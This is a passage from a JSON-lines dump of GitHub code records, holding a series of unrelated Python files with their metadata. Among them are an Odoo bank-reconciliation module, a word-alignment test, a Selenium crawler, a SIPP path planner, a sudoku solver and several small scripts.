[]\n sub2word_map_src = []\n sub2word_map_tgt = []\n sent_src, sent_tgt = source_string.strip().split(), target_string.strip().split()\n token_src, token_tgt = [tokenizer.tokenize(word) for word in sent_src], [tokenizer.tokenize(word) for word in\n sent_tgt]\n wid_src, wid_tgt = [tokenizer.convert_tokens_to_ids(x) for x in token_src], [tokenizer.convert_tokens_to_ids(x) for\n x in token_tgt]\n ids_src, ids_tgt = tokenizer.prepare_for_model(list(itertools.chain(*wid_src)), return_tensors='pt',\n model_max_length=tokenizer.model_max_length, truncation=True)[\n 'input_ids'], \\\n tokenizer.prepare_for_model(list(itertools.chain(*wid_tgt)), return_tensors='pt',\n truncation=True, model_max_length=tokenizer.model_max_length)[\n 'input_ids']\n for i, word_list in enumerate(token_src):\n sub2word_map_src += [i for x in word_list]\n for i, word_list in enumerate(token_tgt):\n sub2word_map_tgt += [i for x in word_list]\n with torch.no_grad():\n out_src = model(ids_src.unsqueeze(0), output_hidden_states=True)[2][align_layer][0, 1:-1]\n out_tgt = model(ids_tgt.unsqueeze(0), output_hidden_states=True)[2][align_layer][0, 1:-1]\n\n dot_prod = torch.matmul(out_src, out_tgt.transpose(-1, -2))\n\n softmax_srctgt = torch.nn.Softmax(dim=-1)(dot_prod)\n softmax_tgtsrc = torch.nn.Softmax(dim=-2)(dot_prod)\n\n softmax_inter = (softmax_srctgt > threshold) * (softmax_tgtsrc > threshold)\n\n align_subwords = torch.nonzero(softmax_inter, as_tuple=False)\n\n for i, j in align_subwords:\n key = sent_src[sub2word_map_src[i]]\n value = sent_tgt[sub2word_map_tgt[j]]\n if [key, value] not in align_words_list:\n align_words_list.append([key, value])\n\n return align_words_list\n","repo_name":"zhangnn520/en2ch_align","sub_path":"awesome-align-master/en2ch_align_test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"37521713308","text":"from openerp import models, fields, api, _, SUPERUSER_ID\nfrom openerp.osv import osv\nimport time\nimport openerp.addons.decimal_precision as dp\nfrom datetime import datetime, date, timedelta\nfrom dateutil.relativedelta import relativedelta\nfrom openerp.exceptions import except_orm, Warning, RedirectWarning, ValidationError\n\nclass dym_account_move_line_bank_reconciliation(models.Model):\n _inherit = \"account.move.line\"\n \n bank_recon = fields.Boolean('Bank Reconciliation')\n statement_date = fields.Date('Bank Statement Date')\n\nclass dym_bank_reconciliation(models.Model):\n _name = \"dym.bank.reconciliation\"\n _description = \"Bank Reconciliation\"\n\n @api.model\n def _get_default_date(self):\n return self.env['dym.branch'].get_default_date_model()\n \n @api.one\n def _get_saldo(self):\n start_date = self.start_date\n bank_balance = self.default_credit_account_id.with_context(date_from=start_date, date_to=start_date, initial_bal=True).balance or self.default_debit_account_id.with_context(date_from=start_date, date_to=start_date, initial_bal=True).balance\n self.saldo_awal = bank_balance\n total_debit = 0\n total_credit = 0\n for line in self.line_ids:\n total_debit += line.debit\n total_credit += line.credit\n self.total_debit = total_debit\n self.total_credit = total_credit\n self.saldo_akhir = bank_balance + total_debit - total_credit\n\n name = fields.Char('Name')\n state = fields.Selection([\n ('draft','Draft'),\n ('done','Posted'),\n ('cancel','Cancelled'),\n ], 'State', default='draft')\n date = fields.Date('Transaction Date', readonly=True)\n branch_id = fields.Many2one('dym.branch', 'Branch', required=True)\n division = fields.Selection([('Unit','Showroom'),('Sparepart','Workshop'),('Umum','General'),('Finance','Finance')], 'Division', required=True)\n partner_type = fields.Many2one('dym.partner.type', 'Partner Type', domain=\"[('division','like',division)]\")\n partner_id = fields.Many2one('res.partner', 'Partner')\n journal_id = fields.Many2one('account.journal', 'Payment Method', required=True, domain=\"[('type','=','bank'),('branch_id','in',[branch_id,False])]\")\n default_debit_account_id = fields.Many2one(related='journal_id.default_debit_account_id')\n default_credit_account_id = fields.Many2one(related='journal_id.default_credit_account_id')\n\n line_ids = fields.One2many('dym.bank.reconciliation.line', 'bank_reconcile_id', 'Detail Bank Reconciliation')\n\n memo = fields.Char('Memo')\n confirm_uid = fields.Many2one('res.users',string=\"Confirmed by\")\n confirm_date = fields.Datetime('Confirmed on')\n cancel_uid = fields.Many2one('res.users',string=\"Cancelled by\")\n cancel_date = fields.Datetime('Cancelled on') \n start_date = fields.Date('Start Date', required=True)\n end_date = fields.Date('End Date', required=True)\n saldo_awal = fields.Float(string='Saldo Awal', compute='_get_saldo')\n total_debit = fields.Float(string='Total Debit', compute='_get_saldo')\n total_credit = fields.Float(string='Total Credit', compute='_get_saldo')\n saldo_akhir = fields.Float(string='Saldo Akhir', compute='_get_saldo')\n \n _defaults={\n 'date' : _get_default_date,\n 'state':'draft',\n }\n\n def create(self, cr, uid, vals, context=None):\n vals['name'] = self.pool.get('ir.sequence').get_per_branch(cr, uid, vals['branch_id'], 'BRE', division='Umum')\n return super(dym_bank_reconciliation, self).create(cr, uid, vals, context=context)\n\n @api.onchange('division','journal_id','branch_id','start_date','end_date')\n def branch_change(self):\n self.line_ids = False\n self.default_debit_account_id = False\n self.default_credit_account_id = False\n if self.journal_id:\n self.default_debit_account_id = self.journal_id.default_debit_account_id\n self.default_credit_account_id = self.journal_id.default_credit_account_id\n\n @api.onchange('partner_type')\n def partner_type_change(self):\n dom={} \n if self.partner_type:\n domain_search = []\n if self.partner_type.field_type == 'boolean':\n domain_search += [(self.partner_type.name,'!=',False)]\n elif self.partner_type.field_type == 'selection':\n domain_search += [(self.partner_type.selection_name,'=',self.partner_type.name)]\n dom['partner_id'] = domain_search\n self.partner_id = False\n return {'domain':dom} \n\n @api.multi\n def wkf_action_cancel(self): \n self.write({'state': 'cancel','cancel_uid':self._uid,'cancel_date':datetime.now()})\n \n def unlink(self, cr, uid, ids, context=None):\n val = self.browse(cr, uid, ids, context={})[0]\n if val.state not in ['draft','cancel']:\n raise osv.except_osv(('Invalid action !'), ('Cannot delete a bank reconciliation which is in state \\'%s\\'!') % (val.state))\n return super(dym_bank_reconciliation, self).unlink(cr, uid, ids, context=context)\n\n @api.multi\n def confirm_recon(self):\n if not self.line_ids:\n raise osv.except_osv(('Tidak bisa confirm!'), ('Tidak ditemukan line transaksi'))\n move_line_obj = self.env['account.move.line']\n for line in self.line_ids:\n if line.move_line_id.bank_recon == True:\n raise osv.except_osv(('Tidak bisa confirm rekonsiliasi'), ('Journal item ' + line.move_line_id.move_id.name + ' sudah di rekonsiliasi!'))\n if line.bank_recon == True:\n line.move_line_id.write({'bank_recon':True,'statement_date':line.statement_date})\n self.write({'state':'done','confirm_uid':self._uid,'confirm_date':datetime.now()})\n return True\n\n @api.multi\n def generate_journal(self):\n self.line_ids.unlink()\n recon_line_obj = self.env['dym.bank.reconciliation.line']\n move_line_obj = self.env['account.move.line']\n move_line_search = move_line_obj.search([('account_id','in',[self.default_debit_account_id.id,self.default_credit_account_id.id]),('partner_id','=?',self.partner_id.id),('bank_recon','=',False),('date','>=',self.start_date),('date','<=',self.end_date)])\n if not move_line_search:\n raise osv.except_osv(('Tidak bisa generate journal'), ('Data tidak ditemukan!'))\n for move_line in move_line_search:\n recon_line_obj.create({'bank_reconcile_id':self.id, 'move_line_id': move_line.id, 'bank_recon': False, 'statement_date': False})\n return True\n\nclass dym_bank_reconciliation_line(models.Model):\n _name = \"dym.bank.reconciliation.line\"\n _description = \"Bank Reconciliation Line\"\n\n bank_reconcile_id = fields.Many2one('dym.bank.reconciliation', 'Bank Reconciliation')\n move_line_id = fields.Many2one('account.move.line', 'Journal Item', required=True)\n bank_recon = fields.Boolean('OK/OS')\n statement_date = fields.Date('Statement Date')\n name = fields.Char(related='move_line_id.name')\n ref = fields.Char(related='move_line_id.ref')\n partner_id = fields.Many2one(related='move_line_id.partner_id')\n account_id = fields.Many2one(related='move_line_id.account_id')\n date = fields.Date(related='move_line_id.date')\n debit = fields.Float(related='move_line_id.debit')\n credit = fields.Float(related='move_line_id.credit')\n\n @api.constrains('move_line_id','bank_reconcile_id')\n def _constraint_move_line(self):\n # line_search = self.search([('move_line_id','=',self.move_line_id.id),\n # '|','&',('id','!=',self.id),('move_line_id.bank_recon','=',True),\n # '|','&',('id','!=',self.id),('bank_reconcile_id','=',self.bank_reconcile_id.id),\n # '&',('id','!=',self.id),('bank_recon','=',True)])\n line_search = self.search([('move_line_id','=',self.move_line_id.id),('id','!=',self.id),('bank_reconcile_id','=',self.bank_reconcile_id.id),])\n if line_search:\n raise ValidationError(\"Journal item \" + self.move_line_id.move_id.name + \" duplicate!\")\n\n @api.onchange('move_line_id')\n def move_line_id_change(self):\n if not self.bank_reconcile_id.branch_id or not self.bank_reconcile_id.journal_id or not self.bank_reconcile_id.division or not self.bank_reconcile_id.start_date or not self.bank_reconcile_id.end_date :\n raise osv.except_osv(('Tidak bisa menambah data!'), ('Mohon lengkapi data header terlebih dahulu'))\n self.debit = self.move_line_id.debit or 0\n self.credit = self.move_line_id.credit or 0\n self.name = self.move_line_id.name or ''\n self.ref = self.move_line_id.ref or ''\n self.date = self.move_line_id.date or False\n self.partner_id = self.move_line_id.partner_id or False\n self.account_id = self.move_line_id.account_id or False\n","repo_name":"Rizalimami/dym","sub_path":"dym_bank_reconciliation/models/bank_reconciliation.py","file_name":"bank_reconciliation.py","file_ext":"py","file_size_in_byte":9070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"21796481718","text":"import pandas as pd\nfrom matplotlib.pyplot import *\n\ndataset = \"elec\"\n\ndf = pd.read_csv('result_'+dataset+'.csv',comment='#')\n#ax = df.plot(x=\"x_count\", y=[\"global_performance_0\",\"global_performance_1\",\"global_performance_2\"], rot=45, linewidth=3, title=dataset)\nax = df.plot(x=\"x_count\", y=[\"sliding_window_performance_0\",\"sliding_window_performance_1\",\"sliding_window_performance_2\"], rot=30, linewidth=3, title=dataset)\nax.set_xlabel(\"\")\nax.set_title(\"Performance on the %s dataset\" % dataset)\nax.legend([r\"$k$NN\",\"HT\",\"BIE\"], loc='best')\nprint(\"write out to %s ...\" % dataset+\".pdf\")\nsavefig(\"result_\"+dataset+\".pdf\")\nshow()\n\n\n","repo_name":"dgallitelli/IOTStreamMining-TPT","sub_path":"Lab/Lab2/run_plot.py","file_name":"run_plot.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"13552756205","text":"import torch\r\n\r\n# Check if CUDA is available #\r\n\r\ndef pytorch_env():\r\n is_cuda = torch.cuda.is_available()\r\n if is_cuda:\r\n device = torch.device(\"cuda\")\r\n print('########### Running on CUDA ############') \r\n else:\r\n device = torch.device(\"cpu\")\r\n print('########### Running on CPU ############') \r\n\r\n return device","repo_name":"manavkaushik/Speech-Analysis-for-Speaker-Characteristics-Estimation","sub_path":"Age_Estimation_TIMIT/modules_age/pytorch_environment.py","file_name":"pytorch_environment.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"29424896698","text":"import csv\n\ncommittee_for_analysis = \"actblue\"\n\nDATAFILE_SOURCE = f\"../data/processed_data/contributions/consolidated_{committee_for_analysis}.csv\"\nOUTFILE_DESTINATION = f\"../data/processed_data/contributions/{committee_for_analysis}_candidate_donor_mappings.csv\"\n\n\ndef process_row(row):\n # By eventually piling these unique hashes (donor_id + \"/~/\" + campaign_id) into a set\n # ...we can quickly eliminate any duplicates without holding the whole, very large datafile\n # ...in memory and then re-parse the individual fields into rows using the unique separator (\"/~/\")\n set_entry = row[\"donor_id\"] + \"/~/\" + \\\n row[\"cycle\"] + \"/~/\" + row[\"destination_campaign\"]\n return set_entry\n\n\ndef process_file(file):\n all_mappings = set()\n row_count = 0\n\n reader = csv.DictReader(file)\n rows_remaining = True\n while rows_remaining:\n try:\n current_row = next(reader)\n processed_row_data = process_row(current_row)\n all_mappings.add(processed_row_data)\n except StopIteration:\n rows_remaining = False\n\n if (row_count % 100000 == 0):\n print(f\"Finished processing {row_count:,} rows\")\n row_count += 1\n\n out_data = []\n for entry in all_mappings:\n entry_data = entry.split(\"/~/\")\n out_data.append({\n \"donor_id\": entry_data[0],\n \"campaign_id\": entry_data[2] + \"~\" + entry_data[1]\n })\n\n return out_data\n\n\ndef main():\n with open(DATAFILE_SOURCE, 'r') as f:\n processed_rows = process_file(f)\n\n with open(OUTFILE_DESTINATION, 'w') as f:\n out_csv = csv.DictWriter(f, fieldnames=list(processed_rows[0].keys()))\n out_csv.writeheader()\n for row in processed_rows:\n out_csv.writerow(row)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Financial-Times/fec-donor-overlaps","sub_path":"scripts/create_campaign_donor_mappings.py","file_name":"create_campaign_donor_mappings.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"} +{"seq_id":"18989579763","text":"import xml.etree.ElementTree as ET\n\n\ndef semeval2014term_to_aspectsentiment_hr(filename, remove_conflicting=True):\n sentimap = {\n 'positive': 'POS',\n 'negative': 'NEG',\n 'neutral': 'NEU',\n 'conflict': 'CONF',\n }\n\n def transform_aspect_term_name(se):\n return se\n\n with open(filename) as file:\n\n sentence_elements = ET.parse(file).getroot().iter('sentence')\n\n sentences = []\n aspect_term_sentiments = []\n classes = set([])\n\n for j, s in enumerate(sentence_elements):\n # review_text = ' '.join([el.text for el in review_element.iter('text')])\n\n sentence_text = s.find('text').text\n aspect_term_sentiment = []\n for o in s.iter('aspectTerm'):\n aspect_term = transform_aspect_term_name(o.get('term'))\n classes.add(aspect_term)\n sentiment = sentimap[o.get('polarity')]\n if sentiment != 'CONF':\n aspect_term_sentiment.append((aspect_term, sentiment))\n else:\n if remove_conflicting:\n pass\n # print('Conflicting Term found! Removed!')\n else:\n aspect_term_sentiment.append((aspect_term, sentiment))\n\n if len(aspect_term_sentiment) > 0:\n aspect_term_sentiments.append(aspect_term_sentiment)\n sentences.append(sentence_text)\n\n cats = list(classes)\n cats.sort()\n\n idx2aspectlabel = {k: v for k, v in enumerate(cats)}\n sentilabel2idx = {\"NEG\": 1, \"NEU\": 2, \"POS\": 3, \"CONF\": 4}\n idx2sentilabel = {k: v for v, k in sentilabel2idx.items()}\n\n return sentences, aspect_term_sentiments, (idx2aspectlabel, idx2sentilabel)\n","repo_name":"deepopinion/domain-adapted-atsc","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":183,"dataset":"github-code","pt":"38"} +{"seq_id":"28524147575","text":"import argparse\nimport asyncio\nimport itertools\nimport glob\nimport os\n\nimport libs.async_zmq as async_zmq\n\nimport sgmsg\n\n\nclass FileSystemCamera:\n '''\n Image server serving images from a provided directory. The default accepted\n formats are *.jpg.\n '''\n def __init__(self,\n serve_directory,\n cycle,\n image_rate,\n file_format,\n loop=None):\n '''\n Initializes the instance of FileSystemCamera.\n\n @param serve_directory - directory containing images to serve \n @param cycle - serve images infinitely\n @param image_rate - number of images to serve per second\n @param file_format - image format to serve\n @param loop - asyncio loop\n '''\n if not all(check(serve_directory) for check in (os.path.exists, os.path.isdir)):\n raise ValueError(\"Must provide an existing directory.\")\n\n file_pattern = os.path.join(serve_directory, file_format)\n files = sorted(glob.iglob(file_pattern))\n\n self._serve_dir = serve_directory\n self._iterator = itertools.cycle(files)\\\n if cycle\\\n else iter(files)\n\n self._rate = 1 / image_rate\n self._loop = loop\n self._image_pub = async_zmq.SocketFactory.pub_socket(topic=\"/tmp/img_path\",\n loop=self._loop)\n\n @asyncio.coroutine\n def serve_images(self):\n '''\n Serves all images in the provided directory that match the file format.\n This routine will never finish if cycle is set to True.\n '''\n for path in self._iterator:\n msg = sgmsg.msgs.ImagePath.new_message(path=path)\n self._image_pub.send(msg.to_bytes())\n print(path)\n yield from asyncio.sleep(self._rate)\n\n\ndef start(args):\n '''\n This function creates the FileSystemCamera, and executes serve_images.\n '''\n loop = asyncio.get_event_loop()\n fs_cam = FileSystemCamera(args.directory,\n args.cycle,\n args.rate,\n args.format,\n loop=loop)\n\n loop.run_until_complete(fs_cam.serve_images())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ayeganov/squirt_gun","sub_path":"camera/fs_camera.py","file_name":"fs_camera.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70713497711","text":"'''\nCreated on Sep 10, 2017\n\n@author: mmullero\n'''\nfrom logging import handlers\nimport logging\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nfrom stjoernscrapper import mongo_service\nfrom stjoernscrapper.config import Config\nfrom stjoernscrapper.core import Core, autolog\n\n\nclass WebCrawler(object):\n '''\n classdocs\n '''\n WebDomains = {}\n def __init__(self, *args, **kwargs):\n '''\n Constructor\n '''\n self.webDomain = kwargs.get('webDomain')\n self.checkDriver = kwargs.get('checkDriver', False)\n self.debug = kwargs.get('debug',False)\n self.dbName = Core.get_db_name(self.webDomain)\n self.init_logging()\n self.set_web_driver()\n self.iso_time = Core.get_iso_datetime()\n mongo_service.init()\n self.db = mongo_service.db\n self.client = mongo_service.Client\n self.ts = Core.get_last_insert_counter(self.db, self.dbName)\n \n def init_logging(self):\n self.logger = logging.getLogger(self.dbName)\n if self.debug:\n self.logger.setLevel(logging.DEBUG)\n else:\n self.logger.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\n handler = handlers.RotatingFileHandler(Config.getLogPath(self.dbName), maxBytes=20000000, backupCount=1)\n handler.setFormatter(formatter)\n self.logger.addHandler(handler)\n self.logger.info(\"{} INIT {}\".format(27*'#', 27*'#'))\n \n def set_web_driver(self, driver = 'chrome'):\n autolog(self.logger)\n '''\n chrome, firefox, IE\n @param driver:\n @type driver:\n '''\n capabilities = {\n 'browserName': 'chrome',\n 'chromeOptions': {\n 'useAutomationExtension': False,\n 'forceDevToolsScreenshot': True,\n #'args': ['--start-maximized', '--disable-infobars']\n }\n }\n service_args = ['--start-maximized', '--disable-infobars']\n if self.debug:\n service_args.extend([\"--verbose\",\"--log-path={}\".format(Config.chromedriver_log)])\n #capabilities.get('chromeOptions',{}).get('args',[]).append('--verbose').append('--log-path={}'.format(Config.chromedriver_log))\n try:\n self.driver = webdriver.Chrome()#(desired_capabilities=capabilities, service_args=service_args)\n except:\n try:\n self.driver = webdriver.Chrome(Config.chromedriver_path, desired_capabilities=capabilities, service_args=service_args)\n except Exception as e:\n self.logger.error(\"Chrome driver is not in your path, please download chromedriver.exe!, {}\".format(e))\n self.logger.error(\"stjoern-scrapper will be terminated.\")\n exit(-1)\n\n def _check_for_driver(self):\n '''\n check if driver for scrapping is installed\n '''\n autolog(self.logger)\n self.driver.get(\"http://www.python.org\")\n assert \"Python\" in self.driver.title\n elem = self.driver.find_element_by_name(\"q\")\n elem.clear()\n elem.send_keys(\"pycon\")\n elem.send_keys(Keys.RETURN)\n assert \"No results found.\" not in self.driver.page_source\n self.driver.close()\n \n def parse(self):\n '''\n parse web elements\n '''\n autolog(self.logger)\n if self.checkDriver:\n self._check_for_driver()\n self.set_web_driver()\n self.driver.get(self.webDomain)\n \n def close(self):\n '''\n close session\n '''\n autolog(self.logger)\n self.logger.info(\"Scrapping finished for {}\".format(self.webDomain))\n if self.driver: \n self.driver.close() \n if self.client:\n self.client.close() \n \n def success(self):\n return {'success': True, 'page': self.webDomain} \n ","repo_name":"stjoern/stjoernscrapper","sub_path":"stjoernscrapper/webcrawler.py","file_name":"webcrawler.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23083127618","text":"from rest_framework import serializers\nfrom . import models\n\nclass CommentSerializer(serializers.ModelSerializer):\n \n class Meta:\n model = models.Comment\n fields = '__all__'\n\nclass LikeSerializer(serializers.ModelSerializer):\n\n # nested serialize, foreign key 가 아니라 이미지 시리얼라이저, 이미 시리얼라이즈가 구축되어 있기 때문에 키가 아닌 시리얼라이즈로 노출된다.\n\n class Meta:\n model = models.Like\n fields = '__all__'\n\nclass ImageSerializer(serializers.ModelSerializer):\n comments = CommentSerializer(many = True)\n likes = LikeSerializer(many = True)\n\n # Meta 설정하는 클래스\n class Meta:\n model = models.Image\n fields = (\n 'id',\n 'file',\n 'location',\n 'caption',\n 'comments',\n 'likes'\n )\n\n\n\n\n","repo_name":"silverspoon318/nomadgram","sub_path":"nomadgram/images/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74952630509","text":"import networkx as nx\nimport numpy as np\nfrom queue import PriorityQueue\nfrom copy import deepcopy\nimport itertools\ndef SIPP(G_in,node_locs,start,goal, obs_trans, v_max, bloating_r):\n '''\n G: a networkx graph.\n\n node_locs: a dict in the form {s:loc of s for s in G}\n\n start, goal: start and goal node(nodes in G).\n \n obs_trans: the transitions of the dynamic obstacle(s), in {(s_i,u_i,t1_i,t2_i):i=0,1,...} form.\n \n If s_i!=u_i, then (s_i,u_i) should be an edge in G.\n \n t1_i=vel: # The agent chases the obstacle\n gap_t = ((v_max-vel)*(t2-t1) + 2* bloating_r)/v_max\n G.edges[u,v]['unsafe_intervals'].append([t1,np.min([t2,t1+gap_t])])\n else: # The obstacle chases the agent\n gap_t = ((vel-v_max)*(t2-t1) + 2* bloating_r)/v_max\n G.edges[u,v]['unsafe_intervals'].append([np.max([0,t1-gap_t]),t1])\n\n \n\n \n for e in G.edges:\n G.edges[e]['unsafe_intervals'] = merge_intervals(G.edges[e]['unsafe_intervals'])\n G.edges[e]['safe_intervals'] = unsafe_to_safe(G.edges[e]['unsafe_intervals'])\n\n for i in G:\n G.nodes[i]['unsafe_intervals'] = merge_intervals(G.nodes[i]['unsafe_intervals'])\n \n if merge_node_edge_intervals: # Merge the edge unsafe interval into the node unsafe intervals if this flag is set\n G.nodes[i]['unsafe_intervals'] = merge_intervals(G.nodes[i]['unsafe_intervals']+\\\n list(itertools.chain.from_iterable([G.edges[i,u]['unsafe_intervals'] for u in G[i]])))\n G.nodes[i]['safe_intervals'] = unsafe_to_safe( G.nodes[i]['unsafe_intervals'])\n\n\n\ndef SIPP_core(G,start,goal,hScore):\n OPEN = PriorityQueue()\n\n def safe_interval_index(t,s):\n '''\n Determine which safe interval of node s does time t fall into.\n \n If t is not in any safe intervals, return None.\n '''\n intervals = G.nodes[s]['safe_intervals']\n \n for i in range(len(intervals)):\n if intervals[i][0]<=t<=intervals[i][1]:\n return i\n \n return None\n\n gScore = {(start,0):0}\n # gScore[s,idx,k] keeps track of the travel time from the start node to \n # node s, arriving at the idx'th safe interval of s.\n\n OPEN.put((0,(start,0))) \n\n # Items in the priority queue are in the form (gScore, item), sorted by value. \n # The item with the smallest value is placed on top.\n\n cameFrom = {}\n transition_duration = {}\n\n def recover_path(final_state,start):\n path_temp = []\n curr = final_state\n while curr != (start,0):\n path_temp.append((curr[0],transition_duration[curr]))\n curr = cameFrom[curr]\n \n path_temp.reverse()\n\n plan = [(start,0)]\n prev_node = start\n t_prev = 0\n for i in range(len(path_temp)):\n dest_node,duration = path_temp[i]\n \n if t_prev= arr[i][0]):\n arr[index][1] = max(arr[index][1], arr[i][1])\n else:\n index = index + 1\n arr[index] = arr[i]\n \n return arr[:index+1]\n\ndef unsafe_to_safe(unsafe_intervals,t0=0):\n t_prev = t0\n safe_intervals = []\n\n for i in range(len(unsafe_intervals)):\n if t_prev=ub:\n return None\n else:\n return (lb,ub)\n\ndef get_edge_type(G,u,v):\n edge_type = 'hard'\n \n types = list(set([\"edge_type\",\"type\"]).intersection(set(G.edges[u,v].keys())))\n if len(types)>0:\n edge_type = G.edges[u,v][types[0]]\n \n return edge_type\n\ndef get_node_type(G,u):\n node_type = 'soft'\n \n types = list(set([\"node_type\",\"type\"]).intersection(set(G.nodes[u].keys())))\n if len(types)>0:\n node_type = G.nodes[u][types[0]]\n\n return node_type\n \n","repo_name":"lina-robotics-lab/PA-Nav","sub_path":"panav/SIPP.py","file_name":"SIPP.py","file_ext":"py","file_size_in_byte":10604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25375618243","text":"import openai\r\nimport pyttsx3\r\n\r\nclass GPT:\r\n def __init__(self):\r\n openai.api_key = \"\" #your key\r\n self.__messages = []\r\n\r\n def request(self, task):\r\n self.__messages.append({'role': 'user', 'content': task})\r\n answer = openai.ChatCompletion.create(\r\n model = 'gpt-3.5-turbo',#Specify the model\r\n messages=self.__messages\r\n )\r\n self.__messages.append({'role': 'assistant', 'content': answer.choices[0].message.content})\r\n return answer.choices[0].message.content\r\n\r\n\r\nif __name__ == '__main__':\r\n assist = GPT()\r\n tts = pyttsx3.init()\r\n voices = tts.getProperty('voices')\r\n tts.setProperty(\"voice\", \"ru\")\r\n tts.setProperty('rate', 150)\r\n for voice in voices:\r\n if voice.name == \"Victoria\":#specific voice\r\n tts.setProperty(\"voice\", voice.id)\r\n\r\n while True:\r\n data = input('>>>')\r\n response = assist.request(data)\r\n print(f'GPT answer: {response}')\r\n tts.say(response)\r\n tts.runAndWait()\r\n","repo_name":"120KIRA021/ChatGPT-and-Pyttsx3","sub_path":"ChatGPT_and_Voice.py","file_name":"ChatGPT_and_Voice.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72011404269","text":"import copy\nimport pprint\n\n\ndef set_num(data, idx):\n if idx >= 81:\n pprint.pprint(data)\n return True\n else:\n # 行:\n # idxが0〜8の場合は0,\n # idxが9〜17の場合は1,\n # ...,\n # idxが72〜80の場合は8,\n # idxが81〜の場合はここには到達しない。\n row = idx // 9\n # 列:\n # idxが0の場合は0,\n # idxが1の場合は1,\n # ...,\n # idxが8の場合は8,\n # idxが9の場合は0。\n # idxが10の場合は1。\n col = idx % 9\n\n if data[row][col] != 0:\n return set_num(data, idx + 1)\n else:\n virtical = []\n horizontal = []\n for i in range(9):\n virtical.append(data[i][col])\n horizontal.append(data[row][i])\n\n for number in range(1, 10):\n if number in virtical:\n continue\n elif number in horizontal:\n continue\n elif number in numbers_in_3x3(data, col, row):\n continue\n else:\n ndata = copy.deepcopy(data)\n ndata[row][col] = number\n if set_num(ndata, idx + 1):\n return True\n return False\n\n\ndef numbers_in_3x3(data, col, row):\n position_3x3_start_col = col // 3 * 3\n position_3x3_start_row = row // 3 * 3\n result = set([])\n for x in range(0, 3):\n for y in range(0, 3):\n x_in_3x3 = position_3x3_start_col + x\n y_in_3x3 = position_3x3_start_row + y\n result.add(data[y_in_3x3][x_in_3x3])\n\n return result\n\n\ninitial_data = [[0, 0, 0, 0, 2, 0, 0, 0, 0],\n [1, 0, 0, 3, 0, 4, 0, 0, 7],\n [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 2, 0, 4, 0, 1, 0, 8, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [0, 3, 0, 8, 0, 5, 0, 9, 0],\n [0, 9, 7, 0, 0, 0, 5, 1, 0],\n [0, 0, 4, 0, 0, 0, 9, 0, 0],\n [0, 5, 1, 0, 9, 0, 8, 7, 0]]\nset_num(initial_data, 0)\n","repo_name":"ippsio/sudoku","sub_path":"np.py","file_name":"np.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14753865347","text":"################################################################################################################################################################################\n# Project Euler Problem 37 Solution -- Truncatable Primes\n# By Mike Kane\n#\n# The number 3797 has an interesting property. Being prime itself, it is possible to continuously remove digits from left to right, and remain prime at each stage: 3797, 797, 97, and 7. Similarly we can work from right to left: 3797, 379, 37, and 3.\n#\n# Find the sum of the only eleven primes that are both truncatable from left to right and right to left.\n#\n# NOTE: 2, 3, 5, and 7 are not considered to be truncatable primes.\n#\n#################################################################################################################################################################################\n\nimport pyprimes\n\ndef checkLeft(number):\n \n number = str(number)\n while len(number) > 1:\n if pyprimes.isprime(int(number)) != True: # check to make sure number is still prime\n return False # return False because number is not still prime, therefore not a truncatable prime\n else:\n number = number[1:] # remove far left digit\n if pyprimes.isprime(int(number)) == True:\n return True\n else:\n return False\n\ndef checkRight(number):\n \n number = str(number)\n while len(number) > 1:\n if pyprimes.isprime(int(number)) != True: # check to make sure number is still prime\n return False # return False because number is not still prime, therefore not a truncatable prime\n else:\n number = number[:-1] # remove far right digit\n if pyprimes.isprime(int(number)) == True:\n return True\n else:\n return False\n \n \n\ndef getAnswer():\n truncPrimes = []\n primes = list(pyprimes.primes_below(1000000))\n primes = primes[::-1]\n \n for prime in primes:\n if len(truncPrimes) == 11:\n return sum(truncPrimes)\n if checkLeft(prime) and checkRight(prime):\n truncPrimes.append(prime)\n \n","repo_name":"richglezriv/rdlms","sub_path":"euler_solution_37.py","file_name":"euler_solution_37.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3332235636","text":"class Solution:\n def checkIfPrerequisite(self, numCourses: int, prerequisites: List[List[int]], queries: List[List[int]]) -> List[bool]:\n \n indegree = [0]*numCourses\n graph = defaultdict(list)\n for u, v in prerequisites:\n graph[u].append(v)\n indegree[v] += 1\n q = deque()\n for i in range(numCourses):\n if indegree[i] == 0:\n q.append(i)\n res = []\n i = 0\n dikt = Counter()\n parents = defaultdict(set)\n while q:\n i += 1\n for _ in range(len(q)):\n node = 